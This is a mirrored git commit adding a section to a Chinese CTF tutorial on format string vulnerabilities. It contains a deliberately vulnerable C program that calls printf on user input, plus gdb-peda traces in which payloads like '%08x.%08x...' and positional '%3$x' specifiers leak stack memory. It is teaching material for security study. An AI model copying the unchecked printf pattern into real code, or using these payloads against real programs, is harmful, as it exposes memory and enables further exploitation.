mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 19:21:15 +07:00
update fmt
This commit is contained in:
parent
20e03f6e65
commit
89b8a2ee17
@ -290,8 +290,164 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
|
||||
|
||||
#### 查看栈内容
|
||||
|
||||
使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。
|
||||
使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。我们已经知道了,格式化字符串函数会根据格式字符串从栈上取值。由于在 x86 上栈由高地址向低地址增长,而 `printf()` 函数的参数是以逆序被压入栈的,所以参数在内存中出现的顺序与在 `printf()` 调用时出现的顺序是一致的。
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
void main() {
|
||||
char format[32];
|
||||
int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
|
||||
scanf("%s", format);
|
||||
printf(format, arg1, arg2, arg3);
|
||||
printf("\n");
|
||||
}
|
||||
```
|
||||
我们先输入 `b main` 设置断点,使用 `n` 往下执行,在 `call 0x56555460 <__isoc99_scanf@plt>` 处输入 `%08x.%08x.%08x.%08x`,然后使用 `c` 继续执行,即可输出结果。
|
||||
```text
|
||||
gdb-peda$ n
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0xffffd5d4 ("%08x.%08x.%08x.%08x")
|
||||
EBX: 0x56557000 --> 0x1efc
|
||||
ECX: 0x1
|
||||
EDX: 0xf7f9883c --> 0x0
|
||||
ESI: 0xf7f96e68 --> 0x1bad90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd608 --> 0x0
|
||||
ESP: 0xffffd5c0 --> 0xffffd5d4 ("%08x.%08x.%08x.%08x")
|
||||
EIP: 0x56555612 (<main+85>: call 0x56555430 <printf@plt>)
|
||||
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
|
||||
[-------------------------------------code-------------------------------------]
|
||||
0x5655560b <main+78>: push DWORD PTR [ebp-0xc]
|
||||
0x5655560e <main+81>: lea eax,[ebp-0x34]
|
||||
0x56555611 <main+84>: push eax
|
||||
=> 0x56555612 <main+85>: call 0x56555430 <printf@plt>
|
||||
0x56555617 <main+90>: add esp,0x10
|
||||
0x5655561a <main+93>: sub esp,0xc
|
||||
0x5655561d <main+96>: push 0xa
|
||||
0x5655561f <main+98>: call 0x56555450 <putchar@plt>
|
||||
Guessed arguments:
|
||||
arg[0]: 0xffffd5d4 ("%08x.%08x.%08x.%08x")
|
||||
arg[1]: 0x1
|
||||
arg[2]: 0x88888888
|
||||
arg[3]: 0xffffffff
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0xffffd5c0 --> 0xffffd5d4 ("%08x.%08x.%08x.%08x")
|
||||
0004| 0xffffd5c4 --> 0x1
|
||||
0008| 0xffffd5c8 --> 0x88888888
|
||||
0012| 0xffffd5cc --> 0xffffffff
|
||||
0016| 0xffffd5d0 --> 0x8000
|
||||
0020| 0xffffd5d4 ("%08x.%08x.%08x.%08x")
|
||||
0024| 0xffffd5d8 (".%08x.%08x.%08x")
|
||||
0028| 0xffffd5dc ("x.%08x.%08x")
|
||||
[------------------------------------------------------------------------------]
|
||||
Legend: code, data, rodata, value
|
||||
0x56555612 in main ()
|
||||
gdb-peda$ c
|
||||
Continuing.
|
||||
00000001.88888888.ffffffff.00008000
|
||||
[Inferior 1 (process 31270) exited with code 012]
|
||||
```
|
||||
格式化字符串 `0xffffd5d4` 的地址出现在内存中的位置恰好位于参数 `arg1`、`arg2`、`arg3` 之前。格式字符串 `%08x.%08x.%08x.%08x` 表示函数 `printf()` 从栈中取出 4 个参数并将它们以 8 位十六进制数的形式显示出来。格式化输出函数使用一个内部变量来标志下一个参数的位置。开始时,参数指针指向第一个参数(`arg1`)。随着每一个参数被相应的格式规范所耗用,参数指针的值也根据参数的长度不断递增。在显示完当前执行函数的剩余自动变量之后,`printf()` 将显示当前执行函数的栈帧(包括返回地址和参数等)。
|
||||
|
||||
当然也可以使用 `%p.%p.%p.%p` 得到相似的结果。
|
||||
```
|
||||
gdb-peda$ n
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0xffffd5d4 ("%p.%p.%p.%p")
|
||||
EBX: 0x56557000 --> 0x1efc
|
||||
ECX: 0x1
|
||||
EDX: 0xf7f9883c --> 0x0
|
||||
ESI: 0xf7f96e68 --> 0x1bad90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd608 --> 0x0
|
||||
ESP: 0xffffd5c0 --> 0xffffd5d4 ("%p.%p.%p.%p")
|
||||
EIP: 0x56555612 (<main+85>: call 0x56555430 <printf@plt>)
|
||||
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
|
||||
[-------------------------------------code-------------------------------------]
|
||||
0x5655560b <main+78>: push DWORD PTR [ebp-0xc]
|
||||
0x5655560e <main+81>: lea eax,[ebp-0x34]
|
||||
0x56555611 <main+84>: push eax
|
||||
=> 0x56555612 <main+85>: call 0x56555430 <printf@plt>
|
||||
0x56555617 <main+90>: add esp,0x10
|
||||
0x5655561a <main+93>: sub esp,0xc
|
||||
0x5655561d <main+96>: push 0xa
|
||||
0x5655561f <main+98>: call 0x56555450 <putchar@plt>
|
||||
Guessed arguments:
|
||||
arg[0]: 0xffffd5d4 ("%p.%p.%p.%p")
|
||||
arg[1]: 0x1
|
||||
arg[2]: 0x88888888
|
||||
arg[3]: 0xffffffff
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0xffffd5c0 --> 0xffffd5d4 ("%p.%p.%p.%p")
|
||||
0004| 0xffffd5c4 --> 0x1
|
||||
0008| 0xffffd5c8 --> 0x88888888
|
||||
0012| 0xffffd5cc --> 0xffffffff
|
||||
0016| 0xffffd5d0 --> 0x8000
|
||||
0020| 0xffffd5d4 ("%p.%p.%p.%p")
|
||||
0024| 0xffffd5d8 ("p.%p.%p")
|
||||
0028| 0xffffd5dc --> 0x70252e ('.%p')
|
||||
[------------------------------------------------------------------------------]
|
||||
Legend: code, data, rodata, value
|
||||
0x56555612 in main ()
|
||||
gdb-peda$ c
|
||||
Continuing.
|
||||
0x1.0x88888888.0xffffffff.0x8000
|
||||
[Inferior 1 (process 31309) exited with code 012]
|
||||
```
|
||||
|
||||
上面的方法都是依次获得栈中的参数,如果我们想要直接获得被指定的某个参数,则可以使用类似下面的格式字符串:
|
||||
```
|
||||
%n$x
|
||||
```
|
||||
这里的 `n` 表示栈中格式字符串后面的第 `n` 个值。
|
||||
```
|
||||
db-peda$ n
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
|
||||
EBX: 0x56557000 --> 0x1efc
|
||||
ECX: 0x1
|
||||
EDX: 0xf7f9883c --> 0x0
|
||||
ESI: 0xf7f96e68 --> 0x1bad90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd608 --> 0x0
|
||||
ESP: 0xffffd5c0 --> 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
|
||||
EIP: 0x56555612 (<main+85>: call 0x56555430 <printf@plt>)
|
||||
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
|
||||
[-------------------------------------code-------------------------------------]
|
||||
0x5655560b <main+78>: push DWORD PTR [ebp-0xc]
|
||||
0x5655560e <main+81>: lea eax,[ebp-0x34]
|
||||
0x56555611 <main+84>: push eax
|
||||
=> 0x56555612 <main+85>: call 0x56555430 <printf@plt>
|
||||
0x56555617 <main+90>: add esp,0x10
|
||||
0x5655561a <main+93>: sub esp,0xc
|
||||
0x5655561d <main+96>: push 0xa
|
||||
0x5655561f <main+98>: call 0x56555450 <putchar@plt>
|
||||
Guessed arguments:
|
||||
arg[0]: 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
|
||||
arg[1]: 0x1
|
||||
arg[2]: 0x88888888
|
||||
arg[3]: 0xffffffff
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0xffffd5c0 --> 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
|
||||
0004| 0xffffd5c4 --> 0x1
|
||||
0008| 0xffffd5c8 --> 0x88888888
|
||||
0012| 0xffffd5cc --> 0xffffffff
|
||||
0016| 0xffffd5d0 --> 0x8000
|
||||
0020| 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
|
||||
0024| 0xffffd5d8 (".%1$08x.%2$p.%2$p.%4$p.%5$p")
|
||||
0028| 0xffffd5dc ("08x.%2$p.%2$p.%4$p.%5$p")
|
||||
[------------------------------------------------------------------------------]
|
||||
Legend: code, data, rodata, value
|
||||
0x56555612 in main ()
|
||||
gdb-peda$ x/10w $esp
|
||||
0xffffd5c0: 0xffffd5d4 0x00000001 0x88888888 0xffffffff
|
||||
0xffffd5d0: 0x00008000 0x78243325 0x2431252e 0x2e783830
|
||||
0xffffd5e0: 0x70243225 0x2432252e
|
||||
gdb-peda$ c
|
||||
Continuing.
|
||||
ffffffff.00000001.0x88888888.0x88888888.0x8000.0x78243325
|
||||
```
|
||||
这里,格式字符串的地址为 `0xffffd5d4`。我们通过格式字符串 `%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p` 分别获取了 `arg3`、`arg1`、两个 `arg2`,和栈上紧跟参数的两个值。可以看到这种方法非常强大,可以获得栈中任意的值。
|
||||
|
||||
#### 查看任意地址的内存
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user